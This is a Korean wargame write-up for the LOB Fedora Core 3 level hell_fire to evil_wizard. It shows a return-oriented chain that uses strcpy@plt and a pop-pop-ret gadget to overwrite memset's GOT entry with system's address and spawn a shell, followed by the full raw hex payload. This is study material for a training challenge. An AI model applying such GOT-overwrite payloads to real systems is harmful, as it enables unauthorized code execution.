본문 바로가기

WARGAME/hackerschool ftz,lob

[LOB 페도라 FC3] hell_fire -> evil_wizard

GOT overwrite를 공부할 때 이 문제의 다른 write-up들을 봤는데 전부 memcpy@got을 덮어써서 진행하길래 memset@got를 덮어써 보았다.


strcpy@plt &ppr &memset@got+0 &\xc0

strcpy@plt &ppr &memset@got+1 &\x07

strcpy@plt &ppr &memset@got+2 &\x75

strcpy@plt &ppr &memset@got+3 &\x00

strcpy@plt ppr &bss+0 '/'

strcpy@plt ppr &bss+1 'b'

strcpy@plt ppr &bss+2 'i'

strcpy@plt ppr &bss+3 'n'

strcpy@plt ppr &bss+4 '/'

strcpy@plt ppr &bss+5 's'

strcpy@plt ppr &bss+6 'h'

strcpy@plt ppr bss+7 '\x0'

memset@plt "AAAA" &bss



처음엔 위와 같이 페이로드를 작성하였는데, \xc0이 위치한 주소값을 memset@got+0에 덮어씌웠더니 페이로드에서 사용하는 다른 함수의 got를 덮어씌워서 segmentation fault가 났다.


그래서 어렵고 비효율적인 방법이지만 아래와 같은 페이로드로 쉘을 얻을 수 있었다.



A*284

strcpy@plt ppr bss+0 \xc0

strcpy@plt ppr bss+1 \x07

strcpy@plt ppr bss+2 \x75

strcpy@plt ppr bss+3 \x00

strcpy@plt ppr memset@got+0 &bss+0

strcpy@plt ppr memset@got+1 &bss+1

strcpy@plt ppr memset@got+2 &bss+2

strcpy@plt ppr memset@got+3 &bss+3

strcpy@plt ppr bss+0 '/'

strcpy@plt ppr bss+1 'b'

strcpy@plt ppr bss+2 'i'

strcpy@plt ppr bss+3 'n'

strcpy@plt ppr bss+4 '/'

strcpy@plt ppr bss+5 's'

strcpy@plt ppr bss+6 'h'

memset@plt AAAA bss



strcpy@plt 0x08048494

ppr 0x0804854f

bss 0x080498b0

system 0x007507c0

memset@got 0x08049898

memset@plt 0x08048474



system -> 0x007507c0

\xc0 : 0x08048420

\x07 : 0x08048154

\x75 : 0x080482c8

\x00 : 0x0804837a


'/' 0x08048114

'b'     0x08048117

'i' 0x08048116

'n' 0x0804811e

'/' 0x08048114

's' 0x08048122

'h' 0x0804836c

'\0' 0x08048288



Ax268

\x94\x84\x04\x08\x4f\x85\x04\x08\xb0\x98\x04\x08\x20\x84\x04\x08

\x94\x84\x04\x08\x4f\x85\x04\x08\xb1\x98\x04\x08\x54\x81\x04\x08

\x94\x84\x04\x08\x4f\x85\x04\x08\xb2\x98\x04\x08\xc8\x82\x04\x08

\x94\x84\x04\x08\x4f\x85\x04\x08\xb3\x98\x04\x08\x7a\x83\x04\x08

\x94\x84\x04\x08\x4f\x85\x04\x08\x98\x98\x04\x08\xb0\x98\x04\x08

\x94\x84\x04\x08\x4f\x85\x04\x08\x99\x98\x04\x08\xb1\x98\x04\x08

\x94\x84\x04\x08\x4f\x85\x04\x08\x9a\x98\x04\x08\xb2\x98\x04\x08

\x94\x84\x04\x08\x4f\x85\x04\x08\x9b\x98\x04\x08\xb3\x98\x04\x08

\x94\x84\x04\x08\x4f\x85\x04\x08\xb0\x98\x04\x08\x14\x81\x04\x08

\x94\x84\x04\x08\x4f\x85\x04\x08\xb1\x98\x04\x08\x17\x81\x04\x08

\x94\x84\x04\x08\x4f\x85\x04\x08\xb2\x98\x04\x08\x16\x81\x04\x08

\x94\x84\x04\x08\x4f\x85\x04\x08\xb3\x98\x04\x08\x1e\x81\x04\x08

\x94\x84\x04\x08\x4f\x85\x04\x08\xb4\x98\x04\x08\x14\x81\x04\x08

\x94\x84\x04\x08\x4f\x85\x04\x08\xb5\x98\x04\x08\x22\x81\x04\x08

\x94\x84\x04\x08\x4f\x85\x04\x08\xb6\x98\x04\x08\x6c\x83\x04\x08

\x94\x84\x04\x08\x4f\x85\x04\x08\xb7\x98\x04\x08\x88\x82\x04\x08

\x74\x84\x04\x08\x41\x41\x41\x41\xb0\x98\x04\x08